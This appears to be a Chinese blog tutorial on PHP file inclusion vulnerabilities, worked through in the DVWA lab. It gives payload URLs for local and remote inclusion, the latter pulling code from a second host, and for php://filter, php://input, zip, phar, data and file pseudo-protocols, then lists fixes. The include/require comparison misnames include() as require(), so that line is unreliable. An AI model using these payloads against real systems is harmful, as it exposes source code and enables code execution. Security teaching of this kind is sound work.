zoukankan      html  css  js  c++  java
  • 文件包含漏洞

    0x01、什么是文件包含?

    为了更好地使用代码的重用性,引入了文件包含函数,通过文件包含函数将文件包含进来,直接使用包含文件的代码,简单点来说就是一个文件里面包含另外一个或多个文件。

    0x02、漏洞成因

    文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。

    0x03、php引发文件包含漏洞的四个函数

    include()
    include_once()
    require()
    require_once()
    
    include()和require()的区别:
    require()如果在包含过程中出错,就会直接退出,不执行后续语句
    require()如果在包含过程中出错,只会提出警告,但不影响后续语句的执行

    0x04、文件包含漏洞分类

    4.1、本地文件包含漏洞
    顾名思义,指的是能打开并包含本地文件的漏洞。大多数情况下遇到的文件包含漏洞都是本地文件包含漏洞。

    示例4.1:
    以DVWA的靶场环境为例,靶场地址:http://127.0.0.1/DVWA/vulnerabilities/fi/?page=file1.php

    把DVWA Security的等级调到Low,在DVWAvulnerabilitiesfisourceLow.php中有以下代码

    <?php
    // The page we wish to display
    $file = $_GET[ 'page' ];
    ?>

    在DVWAvulnerabilitiesfisourceindex.php中Low.php又被包含在其中,这就构成了文件包含漏洞,而且被包含的文件还是我们可控的。

    在file1同级目录下新建一个名为test.txt的文本文件,内容如下:

    <?php
    phpinfo();
    ?>

    访问http://127.0.0.1/DVWA/vulnerabilities/fi/?page=test.txt

    文件包含可以包含任意文件,如图片,文本文件,压缩包等等,如果文件中有服务器能识别的脚本语言,就按照当前脚本语言执行,否则就直接显示出源代码。

    4.2、远程文件包含漏洞
    是指能够包含远程服务器上的文件并执行。由于远程服务器的文件是我们可控的,因此漏洞一旦存在,危害性会很大。
    但远程文件包含漏洞的利用条件较为苛刻,需要php.ini中配置
    allow_url_fopen=On
    allow_url_include=On

    示例4.2:
    先打开目标服务器的php.ini文件进行以下相关设置,然后重启服务器

    之后在本地新建文件test2.txt,文件内容为:

    <?php
    phpinfo();
    ?>

    目标服务器ip:192.168.1.114
    本机ip:192.168.1.106

    访问http://192.168.1.114/DVWA/vulnerabilities/fi/?page=http://192.168.1.106/test2.txt

    0x05、文件包含漏洞之伪协议

    5.1、php://filter
    利用条件:
    只是读取,所以只需要开启allow_url_fopen,对allow_url_include不做要求

    用法:

    index.php?file=php://filter/read=convert.base64-encode/resource=xxx.php

    通过指定末尾文件,可以读取经base64加密后的文件源码,虽然不能直接获取shell等,但能够读取敏感文件,危害还是是挺大的。

    示例5.1:

    http://127.0.0.1/DVWA/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=test.txt


    5.2、php://input
    可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行

    利用条件:
    需要开启allow_url_include=on,对allow_url_fopen不做要求

    用法:?file=php://input 数据利用POST传过去。

    示例5.2:

    也可以写入木马

    还可以命令执行

    5.3、zip://伪协议
    zip://可以访问压缩文件中的文件

    条件: 使用zip协议,需要将#编码为%23,所以需要PHP 的版本> =5.3.0,要是因为版本的问题无法将#编码成%23,可以手动把#改成%23。

    用法:?file=zip://[压缩文件路径]#[压缩文件内的子文件名]

    示例5.3:
    在本地新建一个文件test.php,并且压缩成test.zip压缩包

    要是把压缩包的后缀改为其他任意格式的文件也可以正常使用。

    5.4、phar://伪协议
    与zip://协议类似,但用法不同,zip://伪协议中是用#把压缩文件路径和压缩文件的子文件名隔开,而phar://伪协议中是用/把压缩文件路径和压缩文件的子文件名隔开,即?file=phar://[压缩文件路径]/[压缩文件内的子文件名]

    示例5.4:

    5.5、data:text/plain

    和php伪协议的input类似,也可以执行任意代码,但利用条件和用法不同

    条件:allow_url_fopen参数与allow_url_include都需开启

    用法1:?file=data:text/plain,<?php 执行内容 ?>
    用法2:?file=data:text/plain;base64,编码后的php代码

    示例5.5:


    注:经base64编码后的加号和等号要手动的url编码,以免浏览器识别不了

    5.6、file://伪协议
    file:// 用于访问本地文件系统,且不受allow_url_fopen与allow_url_include的影响。
    用法:?file=file://文件绝对路径

    示例5.6

    0x06、修复方案

    1、PHP 中使用 open_basedir 配置限制访问在指定的区域
    2、过滤.(点)/(反斜杠)(反斜杠)等特殊字符
    3、尽量关闭allow_url_include配置

    0x07、总结

    关于文件包含的内容,目前小白也就只能总结出这些了,总之收获不菲,感觉很有用。

  • 相关阅读:
    jmeter接口自动化难点系列-jmeter多个线程组接口请求顺序问题
    Oracle 绝对和相对文件编号研究
    Oracle-索引分裂研究
    局域网内git项目克隆
    在CentOS中修改mariadb数据库存储位置
    Mariadb 通过binlog恢复删除(drop table)的数据
    高效边缘流处理方案:使用 OpenYurt 部署和管理 eKuiper
    负载均衡
    电信运营商基于 MQTT 协议 构建千万级 IoT 设备管理平台
    使用 MQTT.fx 接入 EMQ X Cloud
  • 原文地址:https://www.cnblogs.com/0daybug/p/12365559.html
Copyright © 2011-2022 走看看